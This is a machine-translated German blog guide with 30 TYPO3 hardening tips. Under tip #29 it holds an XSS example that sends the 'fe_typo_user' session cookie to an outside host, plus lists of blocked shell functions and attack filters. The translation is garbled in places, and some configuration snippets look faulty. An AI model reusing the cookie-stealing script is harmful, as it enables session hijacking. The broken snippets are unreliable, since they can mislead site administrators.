30 Schritte zur Verbesserung Ihrer TYPO3-Sicherheit

30 Schritte zur Verbesserung Ihrer TYPO3-Sicherheit

This article machine-based automatically translated from English to the German language. As this article is not human translated, there may be chances of context, spelling and grammar mistakes. We recommend to read original article in English version.

Es erfüllt uns mit Stolz, dass unser eigenes TYPO3 CMS eines der sichersten OpenSource CMS der Welt ist! Aber wie wir wissen, ist die Sicherheit von Websites mit zunehmender Technologie und zunehmendem Fortschritt ein nie endender Prozess. Daher muss man die TYPO3-Sicherheitsmaßnahmen ständig verbessern und regelmäßig aktualisieren. Hier möchte ich 30 ultimative Leitfäden zur Verbesserung der TYPO3-Sicherheit vorstellen.

Wir alle wissen, wie wichtig es ist, die TYPO3-Sicherheit Ihrer Website zu gewährleisten. Google boykottiert jeden Tag mehr als 10.000 Websites konsequent wegen Malware und etwa 50.000 wegen Phishing. Wenn Sie sich wirklich auf Ihre Website konzentrieren, dann müssen Sie sich an diesem Punkt auf die bewährten TYPO3-Sicherheitsverfahren konzentrieren. In diesem Leitfaden stellen wir Ihnen die wichtigsten TYPO3-Sicherheitstipps vor, die Ihnen helfen sollen, die Sicherheit Ihrer Website vor Hackerangriffen und Malware zu gewährleisten.

"Wenn Sie mehr Zeit mit Kaffee als mit IT-Sicherheit verbringen, werden Sie gehackt. Mehr noch, Sie verdienen es, gehackt zu werden.
- Richard Clarke"

TYPO3-Sicherheitshandbuch

TYPO3 ist sicherer als andere OpenSource-Projekte

Seit seiner Einführung wurde der TYPO3-Kern mit starker und robuster Sicherheit entwickelt.

Ich bin sehr stolz darauf, Teil der TYPO3-Gemeinschaft zu sein, die über das weltweit beliebteste PHP CMS und Framework verfügt.

Überprüfen Sie interessante Statistiken unter Sucuri für die Sicherheit des OpenSource-Projekts.

Warum Sicherheit bei TYPO3?

Quelle

Eine gehackte TYPO3-Website kann Ihren Geschäftseinnahmen und Ihrem Ruf ernsthaften Schaden zufügen. Hacker können Benutzerinformationen und Passwörter stehlen, bösartige Software installieren, Daten verkaufen und sogar Malware an ihre Kunden verteilen.

Es kann passieren, dass Sie Lösegeld an Hacker zahlen müssen, nur um wieder Zugang zu Ihrer Website zu erhalten.Worst, you may find yourself paying ransomware to hackers just to regain access to your website.

Im März 2016 berichtete Google, dass mehr als 50 Millionen Website-Nutzer gewarnt wurden, dass eine Website, die sie besuchen, Malware enthalten oder Informationen stehlen könnte.

Die Menschen geben mehr Geld für "Sicherheit" aus

Bleiben Sie mit dem dedizierten TYPO3-Sicherheitsteam in Verbindung

Leider hat die TYPO3-Gemeinschaft ein engagiertes TYPO3-Sicherheitsteam, das hart daran arbeitet, die Sicherheit von TYPO3 ständig zu verbessern und zu erhöhen.

Treffen Sie das TYPO3-Sicherheitsteam

Das TYPO3-Sicherheitsteam wurde 2004 gegründet. Sicherheit wird von den Entwicklern von TYPO3 sehr ernst genommen. Der sichtbare Teil dieses Anliegens ist das TYPO3-Sicherheitsteam.

Wo sind die Releases der TYPO3-Sicherheitsbedrohungen?

Alle TYPO3-Sicherheitsreleases können Sie jederzeit unter Sicherheitshinweise wie folgt einsehen.

Wie kann ich mich für E-Mail-Aktualisierungen von TYPO3-Sicherheitsversionen anmelden?

Sie müssen einfach TYPO3-Sicherheit abonnieren E-Mail-Liste mit Ratschlägen.

Ist ein TYPO3 Sicherheits-RSS-Feed zu abonnieren?

Ja, Holen Sie sich das von TYPO3 Sicherheits-RSS-Feed

Wie kann ich die Sicherheit meiner TYPO3-Erweiterung überprüfen?

Das pro-aktive TYPO3-Sicherheitsteam bietet keinen Service zur Überprüfung der TYPO3-Extension an, aber wenn Sie es wünschen, können wir versuchen, jemanden zu vermitteln, der Ihre TYPO3-Extension überprüft. Sie können sich mit dem TYPO3-Sicherheitsteam in Verbindung setzen.

Haben sie eine TYPO3-Sicherheitsrichtlinie?

Ja, wir empfehlen Ihnen dringend die Lektüre von TYPO3-Sicherheitspolitik für Tipps und Tricks wie;

  • Für Benutzer, die eine TYPO3-Erweiterung herunterladen: Benutzer der Erweiterung
  • Für Benutzer, die eine TYPO3-Erweiterung erstellen: Entwickler von Erweiterungen 
  • Für Benutzer, die ein Sicherheitsproblem melden: Reporter für Sicherheitsprobleme 

Wie kann ich mich mit dem TYPO3-Sicherheitsteam verbinden?

  • Sie können sich leicht mit via
  • Schreiben Sie eine E-Mail an security(at)typo3.org
  • Kontakt unter TYPO3.org
  • Folgen Sie auf Twitter handle
  • Mitmachen Leer #Ankündigungen Kanal

TYPO3-Kern gegen TYPO3-Erweiterungen: Sicherheits-Schleifen-Löcher

TYPO3 core is developed and maintained by around 40-50 people that are highly skilled and experienced TYPO3 developers. With constant depth testing, There are very fewer chances to have security loops holes into the TYPO3 core.

The fact is, Major TYPO3 hack is due to TYPO3 extensions. The TYPO3 app store so-called TYPO3 Extensions Repository (TER) contains more than 5000+ Extensions which has been developed by 2000+ TYPO3 developers.

Since everybody can submit extensions to the TER, the code quality varies greatly. Some extensions show a very high level of code quality, while others may have been written by amateurs. Most of the known security issues in TYPO3 have been found in these extensions, which are not part of the core system.

Welche Arten von TYPO3-Sicherheitsbedrohungen gibt es?

Informationspreisgabe
Eine Offenlegung von Informationen liegt vor, wenn ein Antrag sensible und vertrauliche Informationen von Parteien, die unter normalen Umständen keinen Zugang zu dem Gegenstand haben sollten, nicht angemessen schützt.

Identitätsdiebstahl
Identitätsdiebstahl, auch als Identitätsbetrug bekannt, ist ein Verbrechen, bei dem sich ein Betrüger wichtige persönliche Informationen (PII) wie Sozialversicherungs- oder Führerscheinnummern beschafft, um sich als jemand anderes auszugeben.

Codeinspritzung
Code-Injektion ist die Ausnutzung eines Computerfehlers, der durch die Verarbeitung ungültiger Daten verursacht wird.

SQL-Injektion
SQL Injection (SQLi) ist eine Art von Injektionsangriff, der es ermöglicht, bösartige SQL-Anweisungen auszuführen.

Cross-Site Request Forgery (XSRF)
Cross-Site Request Forgery (CSRF oder XSRF) ist ein weiteres Beispiel dafür, dass die Sicherheitsbranche unübertroffen in ihrer Fähigkeit ist, beängstigende Namen zu erfinden.

Cross-Site Scripting (XSS)
Cross-site scripting (also known as XSS) is a web security vulnerability that allows an attacker to compromise the interactions that users have with a vulnerable application.

Fangen wir an, Maßnahmen zum Schutz Ihrer TYPO3-Website zu ergreifen :)

#1 Sichern Sie alle Ihre Passwörter

Beginnen Sie mit einfach, stellen Sie sicher, dass Sie starke Passwörter der TYPO3-Benutzer Ihrer Site, SSH/SFTP, Datenbank usw. haben,

Beliebtes EXT:be_secure_pw

Installieren

Die Extension von Thomas - TYPO3.org man hat eine coole TYPO3 Extension entwickelt. Diese Erweiterung gibt Ihnen die Möglichkeit, sichere Passwörter von Ihren BE-Benutzern zu erzwingen. Sie können die Passwortmuster wie z.B. Großbuchstaben, Ziffern, etc. und eine minimale Länge des Passwortes festlegen. Nach dem Aktivieren der Extensions müssen Ihre BE-Benutzer die Muster und die Länge des Passwortes anpassen, um ein neues zu speichern!

Sie können eine Erinnerung setzen, damit die Benutzer Sie an die Änderung ihres Passworts erinnern können.

be_secure_pw

Erweiterungsschlüssel

108000+

Downloads

#2 Sicherung Sicherung Sicherung Sicherung!

Stellen Sie sich eine Situation vor,

"Einmal morgens werden Sie benachrichtigt, dass Ihre TYPO3-Site oder die Ihres potentiellen Kunden aufgrund eines Serverabsturzes ausgefallen ist oder von jemandem gehackt wurde."

Ich schätze, Sie werden sich hilflos fühlen, wenn Sie nicht das letzte Backup Ihrer TYPO3-Website haben.

Eine wichtige Tatsache bei der Gewährleistung der Website-Sicherheit: Backup ist der einzig sichere Weg, wenn es um Ihre TYPO3-Sicherheit geht.

Höchst empfehlenswert zu lesen Wie man eine TYPO3-Site sichert: 7 beste TYPO3-Sicherungserweiterungen für 2020 

Auch hat das Team T3Terminal vor kurzem die allererste All-in-One TYPO3 Backup-Erweiterung entwickelt. Vielleicht interessieren Sie sich für unsere kostenlose und beliebte Backup Plus TYPO3 Extension.

ns_backup

Erweiterungsschlüssel

200+

Downloads

#3 TYPO3-Kern-Updates auf dem neuesten Stand halten

Einer der sichersten Wege ist es, mit Ihrem TYPO3-Kern immer auf dem neuesten Stand zu bleiben.

Viele Websites werden aufgrund veralteter TYPO3-Versionen gehackt. Mit jeder neuen Version von TYPO3 erhalten Sie Sicherheitskorrekturen und neue Funktionen.

Sie sollten in Betracht ziehen, drei Versionen unterhalb des TYPO3-Versionstyps zu aktualisieren.

1. TYPO3 Kleinere Version aktualisieren

Enthält Sicherheitsversionen und Fehlerbehebungen, z.B. Update von TYPO3 v10.4.2 auf v10.4.3

2. TYPO3-Hauptversion aktualisieren

Er enthält neue Funktionen bestimmter LTS, Sicherheitsversionen und Fehlerbehebungen, z.B. Update von TYPO3 v10.3 auf v10.4.

3. TYPO3 LTS-Version aktualisieren

enthält wichtige neue Funktionen von LTS (Long Term Support), Sicherheitsfreigabe und Fehlerbehebung, z.B. Update von TYPO3 v10.4.2 auf v10.4.3

Wie Sie Ihr TYPO3-Update planen?

basierend auf dem zukünftigen Release-Plan oder der Roadmap von TYPO3 können Sie Ihre TYPO3-Website für die Aktualisierung vorbereiten. Schauen Sie sich typo3.org/cms/roadmap

Ich empfehle die Lektüre eines meiner beliebten TYPO3-Blogs unter Der ultimative Leitfaden zur Aktualisierung/Upgrade von TYPO3

#4 Auf dem neuesten Stand bleiben & unbenutzte TYPO3-Erweiterungen entfernen

Die meisten TYPO3-Websites haben TYPO3-Erweiterungen (entweder aus TER oder speziell angefertigt), die manchmal Sicherheitsprobleme verursachen.

Wenn Sie das TYPO3-Update durchführen, sollten Sie auch die Aktualisierung von TYPO3-Erweiterungen in Betracht ziehen. 

Viele verantwortliche TYPO3-Mitwirkende veröffentlichen ihre Erweiterungen regelmäßig im TER als Sicherheitsfreigabe, Fehlerbehebungsfreigabe und kompatibel mit der neuesten TYPO3-Version.

Bleiben Sie dabei, unnötige TYPO3-Erweiterungen entweder zu aktualisieren oder aus Ihrer TYPO3-Instanz zu entfernen.

Benachrichtigung über neue Veröffentlichung

Um E-Mail-Benachrichtigungen über Ihre bevorzugte TYPO3-Erweiterung zu erhalten, müssen Sie sich nur unter https://extensions.typo3.org/ einloggen und die Schaltfläche "Benachrichtigung per E-Mail bei neuer Version" aktivieren.

Bericht: Kompatibilität der TYPO3-Erweiterungen

Um bessere Berichte und Benachrichtigungen zu erhalten, wie z.B. eine E-Mail-Benachrichtigung über den Status Ihrer gesamten TYPO3-Website, empfehle ich die Verwendung unseres Kompatibilitätsberichts TYPO3 Extensions Compatibility report TYPO3 extension.

ns_ext_compatibility

Erweiterungsschlüssel

4000+

Downloads

#5 Sichern Sie Ihre TYPO3- und Server-Architektur

Eine der großartigen TYPO3-Serverarchitektur-Lösungen von Helmut ist TYPO3 Secure Web.

Wir empfehlen Ihnen dringend, dieses TYPO3-Paket zu installieren. Lassen Sie mich versuchen, Ihnen einen schnellen Überblick zu geben.

Wie kann ein sichereres TYPO3 CMS auf Server-Architektur

Lassen Sie uns mit dem privaten und öffentlichen Ordner die folgende Art von fantastischer sicherer Ordnerstruktur von TYPO3 erstellen.

welches nur Assets wie CSS/js/Bilder etc. enthält, für die öffentlichen Web-Benutzer.
Ordner</stark> Beschreibung</stark>
öffentlich
privat welcher typo3 core sysext, typo3conf ext, etc. enthält,
var welche Cache, Log, Session, etc. enthält,
Anbieter welches sowohl CMS als auch die Anbieter der Erweiterung enthält.

Eine Schritt-für-Schritt-Anleitung zur Einrichtung von TYPO3 Secure Web

Team T3Terminal verwendet für alle TYPO3-Projekte stets die branchenweit besten Standards und Ansätze unter Verwendung von Docker, DDEV und Composer.

Schritt 1. Einen Projektordner anlegen

mkdir my-site
cd my-site

Schritt 2

ddev config --project-type php --php-version 7.4

Schritt 3. Laden Sie die neueste TYPO3-Version über den Composer herunter

ddev composer create typo3/cms-base-distribution ^10 --no-interaction
ddev config --project-type typo3
ddev start

Schritt 4. TYPO3-Installationsassistenten ausführen

touch public/FIRST_INSTALL

Schritt 5. Bei composer.json, Private und öffentliche Ordner einrichten

"extra": {
    "typo3/cms": {
        "root-dir": "private",
        "web-dir": "public"
    }
}

Schritt 6. Sichern Sie Ihr TYPO3 mit der Ordnerstruktur privat und öffentlich

ddev composer require helhum/typo3-secure-web

Schritt 7. Erledigt :)

Nachdem Sie das TYPO3-secure-web-Paket erfolgreich installiert haben, organisiert es die Architektur ganzer Ordner und Dateien auf Ihrem Server wie folgt:

Privatordner - Kein Zugriff mehr im Web

"private" Ordner verweist auf den Code des TYPO3-Kerns und der Erweiterungen. Kein öffentlicher Web-Benutzer wird auf Ihren TYPO3-Code zugreifen können.
Root-Architektur des privaten Ordners

Öffentlicher Ordner - Nur Zugriff auf Assets im Web

"public"-Ordner zeigt als Webserver-Dokumentenstamm und enthält nur Asset-Dateien. In jedem Ordner sehen Sie nur den Ordner /Resources/Public/, der einen Symlink zu einem bestimmten privaten Ordner /Resources/Public/ enthält.

Wurzel-Architektur des öffentlichen Ordners

Die Architektur der Öffentlichkeit/typo3temp

Architektur der TYPO3-Erweiterung enthält nur /Ressourcen/Öffentlich/ z.B., EXT:news  /öffentlich/typo3conf/ext/news

Die Architektur des TYPO3-Kerns enthält nur /Ressourcen/Public/ z.B., EXT:backend /public/typo3/sysext/backend/

#6 Automatische TYPO3-Zugangsprüfung

Javan Rasokat hat ein automatisches TYPO3-Sicherheitstool namens "Typo3AccessChecker" entwickelt, das ein auf Python3 basierendes Sicherheitspaket ist. Dieses Tool prüft, ob Ihre Typo3-Instanz korrekt gesichert ist, indem es Einschränkungen und Berechtigungen für wichtige Endpunkte testet.

Installation

git clone https://github.com/JavanXD/Typo3AccessChecker.git
cd Typo3AccessChecker
python3 -m pip install requests progressbar

Usage
Start a Scan of https://typo3.org with the default checklist:

python3 check_axxess.py https://typo3.org checklist.txt`

Start a Scan of https://typo3.org and use a proxy (e.g. OWASP ZAP/Burp/Fiddler). The proxy function helps you during a manual check by displaying the exact answer you received.

python3 check_axxess.py https://typo3.org checklist.txt --proxy localhost:8080

List of possible arguments:

python3 check_axxess.py -h

#7 TYPO3-Sicherheitspaket

Als Teil der Data handler & Persistence TYPO3 Initiative haben sie ein TYPO3 Sicherheitspaket erstellt.

Diese Implementierung ist ein Proof-of-Concept-Prototyp und damit eine experimentelle Entwicklung. Da nicht alle geplanten Funktionen implementiert werden, sollte diese Erweiterung nicht für Produktionsstätten verwendet werden.

Installation

composer config repositories.security git https://github.com/typo3-initiatives/security
composer require typo3/cms-security

#8 Code-Qualität Ihrer TYPO3-Erweiterungen prüfen

Danke an die Mitarbeiter der Marketing Factory, die das automatisierte TYPO3 Code-Review-Tool Sonarqube for TER (TYPO3 Extensions Repository) eingerichtet habe

TYPO3-Code-Qualität prüfen

Schritt 1. Zu TER Sonarcube

gehen.

Schritt 2. Suchen Sie Ihren Erweiterungsschlüssel in der rechten oberen Ecke

Schritt 3. Sie können die Qualität der Erweiterung mit möglichen Fehlern, Code-Gerüchen, Code-Duplikation usw. überprüfen,

#9 SSL/HTTPS: Sichern Sie Ihre TYPO3-Website

Ihre TYPO3-Website sollte auf SSL/HTTPS laufen. Außerdem ist SSL auch wichtiger, um die Leistung Ihrer Website sowie das SEO-Ranking zu beschleunigen.

SSL/HTTPS für TYPO3-Backend konfigurieren

SSL/HTTPS für TYPO3-Backend konfigurieren

# TYPO3 Install Tool Configuration
$GLOBALS['TYPO3_CONF_VARS']['BE']['lockSSL'] = ‘2’;

SSL/HTTPS für TYPO3-Frontend konfigurieren

Option 1: Verwendung von TYPO3

Verwendung der Website-Verwaltung in der TYPO3-Version >= 9.x

TypoScript für TYPO3-Version verwenden <= 8.x  

TypoScript-Konstanten

# Define constantan for baseURL & Absolute URI prefix
domain {
	#cat = site_default/website/domain/01; type=string; label=Domain name for Base URL:
	baseURL =

	#cat = site_default/website/domain/02; type=string; label=Absolute URI prefix:
	absRefPrefix =
}

TypoScript-Einrichtung

# Set baseURL setting for http or https
config.baseURL = {$site_default.website.domain.baseURL}

[globalString = _SERVER|HTTPS=on]
	config.baseURL = {$site_default.website.domain.baseURL}
[global]

Option 2: Verwendung von .htaccess

Frontend-Site: Weiterleiten zu HTTPS

RewriteCond %{HTTPS} on
RewriteCond %{REQUEST_URI} !^/?typo3
RewriteRule (.*) %{HTTP_HOST}%{REQUEST_URI} [R=301,L]

TYPO3-Backend: Weiterleitung zu HTTPS

RewriteCond %{HTTPS} off
RewriteCond %{REQUEST_URI} ^/?typo3
RewriteRule (.*) %{HTTP_HOST}%{REQUEST_URI} [R=301,L]

#10 TYPO3-Sicherheitsberichte

TYPO3-Kern bietet eine Funktion zur Überprüfung des Sicherheitsstatus Ihrer TYPO3-Instanz.

Gehen Sie zu System > Berichte > Statusbericht > Sicherheit

#11 Berechtigungen von Dateien/Verzeichnissen prüfen

Es ist wichtig, den Zugriff und die Berechtigungen von Dateien und Verzeichnissen zu überprüfen.

Zu Admin Tools > Umgebung > Verzeichnis-Status

#12 Deaktivieren Sie Ihr TYPO3-Installations-Tool

Mit den Installationswerkzeugen kann jeder die gesamte TYPO3-Instanz konfigurieren.

Entferne /typo3conf/ENABLE_INSTALL_TOOL-Datei

Passwort Ihres TYPO3-Installations-Tools ändern

Zu Admin Tools > Einstellungen > Install Tools Passwort ändern

#13 Server-Umgebung für TYPO3 prüfen

Analysiert Ihre Host-Umgebung und identifiziert alle Probleme, die den korrekten Betrieb von TYPO3 behindern können.

Zu Admin Tools > Umwelt > Umweltstatus

#14 Deaktivieren der Verzeichnis-Indexierung

Niemand sollte in der Lage sein, die Auflistung Ihrer Verzeichnisse und Dateien zu sehen wie;

Apache-Konfiguration zum Deaktivieren der Indizierung von TYPO3-Verzeichnissen

<Directory /path/to/your/typo3/>
  Options FollowSymLinks
</Directory>

#15 Behandlung von Dateierweiterungen erlauben/verbieten

Die meisten Webserver haben eine Standardkonfiguration, die Dateierweiterungen wie .html oder .txt auf entsprechende Mime-Typen wie text/Html oder text/plain

abbildet.

Apache-Konfiguration

<FilesMatch ".+\.html?$">
    AddType text/html     .html .htm
</FilesMatch>
<FilesMatch ".+\.php$">
    SetHandler application/x-httpd-php
</FilesMatch>

#16 Sichern Sie Ihre Datenbank

Die TYPO3-Datenbank enthält alle Daten von Backend- und Frontend-Benutzern, daher muss besonders darauf geachtet werden, keinen unberechtigten Zugriff zu gewähren.

  • Sichere Passwörter und minimale Zugriffsprivilegien mit MySQL
  • Datenbank nicht innerhalb der Web-Dokument-Wurzel mit SQLite
  • Externen Zugang verbieten
  • Beschränkter Zugriff auf Datenbank-Administrationswerkzeuge wie phpMyAdmin

#17 Verbessern Sie Ihre PHP-Sicherheitskonfiguration

Da es sich bei TYPO3 um eine PHP-Anwendung handelt, sind natürlich auch sichere PHP-Einstellungen wichtig. Hier sind einige PHP-Sicherheitstipps.

# Restrict PHP Information Leakage
expose_php=Off
# Disabling Dangerous PHP Functions
disable_functions =exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
# Turn Off Remote Code Execution
allow_url_fopen = Off
allow_url_include = Off
# Limit PHP Access To File System
open_basedir="/var/www/html/"
# Enable SQL Safe Mode
sql.safe_mode=On
magic_quotes_gpc=Off
# Control POST Size
post_max_size=1024K

PhpSecInfo: Überprüfung mit erweiterten PHP-Tools

Quelle

Und das Wichtigste: Halten Sie PHP, Software und Betriebssystem immer auf dem neuesten Stand!

#18 TYPO3 Encryption Key

The encryption key is used as the “salt” for various kinds of encryption, checksums, and validations (e.g. for the cHash).

Keep in mind that this string is security-related and you should keep it in a safe place.

# /typo3conf/LocalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['SYS']['encryptionKey'] = 'encryptionKey';

Zu Admin Tools > Einstellungen > Installationsweite Optionen konfigurieren

#19 Sichern Sie Ihr TYPO3-Cookie

cookieSecure gibt an, dass das Cookie nur über eine sichere HTTPS-Verbindung zwischen Client und Server übertragen werden soll. Setzen Sie eine entsprechende Option, um Ihre TYPO3-Cookies zu sichern.

# /typo3conf/LocalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['SYS']['cookieSecure'] = '1';

Zu Admin Tools > Einstellungen > Installationsweite Optionen konfigurieren

#20 TYPO3-Fehler abschalten

Öffentlich, Sie sollten TYPO3-Fehler deaktivieren.

# /typo3conf/LocalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['SYS']['displayErrors'] = '0';

Zu Admin Tools > Einstellungen > Installationsweite Optionen konfigurieren

#21 TYPO3-Zugang nur für Entwickler & Backend-Benutzer

Definiert eine durch Komma getrennte Liste von IP-Adressen, die die Anzeige der Entwicklungsausgabe ermöglicht (Offenlegung von Informationen).

# /typo3conf/LocalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['SYS']['devIPmask'] = '127.0.0.1';

Zu Admin Tools > Einstellungen > Installationsweite Optionen konfigurieren

#22 Berichte und Protokolle prüfen

Berichte und Protokolle, die von TYPO3 generiert werden, sollten Sie im Auge behalten. Auf diese Weise können Sie Sicherheitsprobleme herausfinden, z.B. wenn Sie versuchen, mehrmals per Bots auf das TYPO3-Backend zuzugreifen.

Gehen Sie zu System > Protokoll

Protokolle ansehen & Auditing

Prüfen Sie die Apache-Protokolldatei.

# tail -f /var/log/httpd/error_log
# grep 'login.php' /var/log/httpd/error_log
# egrep -i "denied|error|warn" /var/log/httpd/error_log

Prüfen Sie die php-Protokolldatei.

# tail -f /var/log/httpd/php_scripts_error.log
# grep "...etc/passwd" /var/log/httpd/php_scripts_error.log

#23 Cross-Verify-Prüfung TYPO3-Prüfsumme

Um sicherzustellen, dass das heruntergeladene TYPO3-Paket ein offizielles, von den TYPO3-Entwicklern freigegebenes Paket ist, vergleichen Sie die SHA2-256-Prüfsumme des heruntergeladenen Pakets mit der auf der TYPO3-Website angegebenen Prüfsumme, bevor Sie TYPO3 extrahieren/installieren. Sie finden die SHA2-256-Prüfsummen unter get.typo3.org

#24 Sichern Sie Ihre Webserver

Versuchen Sie es einfach mit Google, indem Sie suchen, um die Sicherheit Ihres Servers zu verbessern, und verbessern Sie weiterhin Ihren Webserver, was sehr wichtig ist.

Hier sind einige Tipps, die Ihnen helfen können;

# Write Protect Apache, PHP, and, MySQL Configuration Files
chattr +i /etc/php.ini
chattr +i /etc/php.d/*
chattr +i /etc/my.ini
chattr +i /etc/httpd/conf/httpd.conf
chattr +i /etc/
# Use Linux Security Extensions (such as SELinux)
# Install Mod_security
## A few Examples ##
# Do not allow to open files in /etc/
SecFilter /etc/
# Stop SQL injection
SecFilter "delete[[:space:]]+from"
SecFilter "select.+from"

#25 FTP nie und nimmer verwenden

FTP ist veraltet und hat eine Menge Probleme, und manchmal kann es geradezu gefährlich sein, aber die weit verbreitete Akzeptanz als einfacher Weg zur Übertragung von Dateien macht es schwer, zu alternativen Protokollen zu wechseln.

  • Absolut unsicher Ihre Website
  • Lücke in der Verschlüsselung
  • Firewall funktioniert nicht
  • Zeichenkodierungsproblem
  • Leerzeichen in Dateinamen
  • Zeilenumbrüche Thema

#26 Nur Ihre Domain für TYPO3 erlaubt

Setzen Sie Ihre Domain auf das Trusted Hosted Pattern von TYPO3

# /typo3conf/LocalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['SYS']['trustedHostsPattern'] = 'youdomain.com';

Zu Admin Tools > Einstellungen > Installationsweite Optionen konfigurieren

#27 E-Mail-Benachrichtigung bei Login-Versuch aktivieren

Die hier definierte E-Mail-Adresse erhält Benachrichtigungen, sobald ein Versuch unternommen wird, sich am Installations-Tool anzumelden. TYPO3 sendet außerdem eine Warnung, wenn innerhalb einer Stunde mehr als drei fehlgeschlagene Login-Versuche im Backend (unabhängig vom Benutzer) festgestellt werden.

# /typo3conf/LocalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['BE']['warning_email_addr'] = ‘[email protected]’;
$GLOBALS['TYPO3_CONF_VARS']['BE']['warning_mode'] = ‘2’;

Zu Admin Tools > Einstellungen > Installationsweite Optionen konfigurieren

#28 TYPO3-Zugang Benutzer, Rollen & Berechtigungen

TYPO3-Kern bietet auch Backend- und Frontend-Benutzern komplexe Zugriffs- und Zugriffsrechte.

Sie können Berechtigungen auf Benutzerebene, auf Gruppenebene, auf Seiten, auf Funktionen, auf DB-Mounts, sogar auf Inhaltselemente und vieles mehr definieren.

Vergewissern Sie sich, dass der Zugriff und die Rollen für alle Benutzer sicher und intelligent bereitgestellt werden, um jegliche Sicherheitsrisiken zu vermeiden.

#29 Sicheren TypoScript-Code schreiben

TYPO3 haben große Flexibilität bei der Konfiguration von TypoScript, aber Sie sollten vorsichtig sein, während Sie es benutzen, hier sind einige Beispiele.

SQL-Injektion

Das Argument, das von der als Markierungen umgebrochenen GET / POST-Anforderungsseiten-id übergeben wird, wird korrekt escaped und in Anführungszeichen gesetzt, um Probleme bei der SQL-Injektion zu verhindern.

page = PAGE
page.10 = CONTENT
page.10 {
  table = tt_content
  select {
    pidInList = 123
    where = deleted=0 AND uid=###PAGEID###
    markers {
        PAGEID.data = GP:pageid
    }
  }
}

Standortübergreifende Skripterstellung (XSS)

Ähnliches gilt für XSS, das in TypoScript-Code platziert ist. Das folgende Code-Snippet gibt ein Beispiel:

page = PAGE
page.10 = COA
page.10 {
  10 = TEXT
  10.value (
    <h1>XSS: TypoScript</h1>
    <p>Cookie data submit to google.com!</p>
  )
  20 = TEXT
  20.value (
    <script type="text/javascript">
    document.write('<p>');
    // read cookies
    var i, key, data, cookies = document.cookie.split(";");
    var loc = window.location;
    for (i = 0; i < cookies.length; i++) {
      // separate key and value
      key = cookies[i].substr(0, cookies[i].indexOf("="));
      data = cookies[i].substr(cookies[i].indexOf("=") + 1);
      key = key.replace(/^\s+|\s+$/g,"");
      // show key and value
      document.write(unescape(key) + ': ' + unescape(data) + '<br />');
      // submit cookie data to another host
      if (key == 'fe_typo_user') {
        setTimeout(function() {
          loc = 'http://www.google.com/?q=' + loc.hostname ;
          window.location = loc + ':' + unescape(key) + ':' + unescape(data);
        }, 5000);
      }
    }
    document.write('</p>');
    </script>
  )
}

Externe Datei-Einbindung

Standardmethode zum Einbinden einer externen Datei verwenden

<INCLUDE_TYPOSCRIPT: source="FILE:fileadmin/setup/myConfig.typoscript">

.Htaccess-Einschränkung für TypoScript-Dateien

<FilesMatch "\.typoscript">
  deny from all
</FilesMatch>

Die Integrität von externen JavaScript-Dateien

Sicherste Möglichkeit, externe JS-Dateien in TypoScript zu integrieren

page {
  includeJS {
    jQuery = https://code.jquery.com/jquery-1.11.3.min.js
    jQuery.external = 1
    jQuery.disableCompression = 1
    jQuery.excludeFromConcatenation = 1
    jQuery.integrity = sha256-7LkWEzqTdpEfELxcZZlS6wAx5Ff13zZ83lYO2/ujj7g=
  }
}

#30 Strikte Einhaltung der Richtlinien für TYPO3-Kodierungsstandards

Da die Sicherheit von TYPO3 eine wichtige Rolle spielt, gibt es Probleme mit benutzerdefinierten TYPO3-Extensions, die von TYPO3-Entwicklern entwickelt und gepflegt werden.

Sie sollten alle vom TYPO3-Kern und der TYPO3-Community definierten Kodierungsstandards verstehen, entwickeln und befolgen.

TYPO3-Kodierungsrichtlinien lernen

#31 Hilfreiche TYPO3-Sicherheitserweiterungen

Wir sollten die TYPO3-Community schätzen, TYPO3-Leute nehmen die Sicherheit von TYPO3 ernster.

Darum finden Sie unter TER viele TYPO3 Extensions, die Ihnen bei der Absicherung Ihres TYPO3 helfen können. Hier ist eine Liste einiger der populären TYPO3-Sicherheitserweiterungen.

TYPO3-Sicherheitserweiterungen erforschen

Session zur TYPO3-Sicherheit beobachten

Bei der letzten T3DD19 (TYPO3 Developer Days 2019) habe ich an einer guten TYPO3-Sicherheitssitzung von Oliver Hader, dem Leiter des TYPO3-Sicherheitsteams, teilgenommen.

Beobachten Hacking TYPO3 - eine Reise durch die jüngsten Sicherheitsschwachstellen!

Denken Sie daran: Sicherheit ist der nie endende Prozess

Last but not least, Ja, TYPO3-Website-Entwicklung ist keine einmalige Sache, Sie müssen Ihre TYPO3-Website weiterentwickeln, pflegen und sichern.

Forschen Sie weiter über TYPO3-Sicherheit, PHP-Einstellungen, Server-Architektur usw., Sie müssen auf Ihre Augen achten, um die Sicherheit Ihrer TYPO3-Website zu gewährleisten!

Schlussfolgerung

Danke für das Lesen dieses etwas langen Artikels.

  • Verstehen Sie die Bedeutung und die Art der Hack-Bedrohung der Website-Sicherheit
  • Bereiten Sie die Planung und den Zeitplan vor, um die Bemühungen um die Sicherheit von TYPO3 zu verdeutlichen
  • Bleiben Sie mehr mit dem engagierten TYPO3-Sicherheitsteam in Verbindung
  • Stellen Sie sicher, dass Ihr TYPO3-Kern und Ihre TYPO3-Erweiterungen auf dem neuesten Stand sind
  • Versuchen Sie, eine Aufgabe nach der anderen aus den oben genannten 30 TYPO3-Tipps zur TYPO3-Sicherheit zu implementieren
  • Hören Sie nie auf zu forschen und verbessern Sie die Sicherheit Ihres TYPO3 

Haben wir irgendwelche TYPO3-Sicherheitstipps oder -tricks verpasst? Haben Sie Fragen oder Feedback zu diesem Blog? Wir würden uns über Ihr Feedback zum untenstehenden Kommentarfeld freuen.

Haben Sie eine sichere & Sichere TYPO3-Website :)

Post Comment

Your email address will not be published. Required fields are marked *

×

Name ist erforderlich!

Geben Sie einen gültigen Namen ein

Gültige E-Mail ist erforderlich!

Gib eine gültige E-Mail Adresse ein

Kommentar ist erforderlich!

Google Captcha ist erforderlich!

Bemerkungen :

  • Yari Rap September 22, 2021 Beim 2:45 pm
    Hello Sanjay! What You think about this ext for protekt from Brute Force: https://extensions.typo3.org/extension/felogin_bruteforce_protection ?
  • Jörg Eichmann June 8, 2021 Beim 3:13 pm
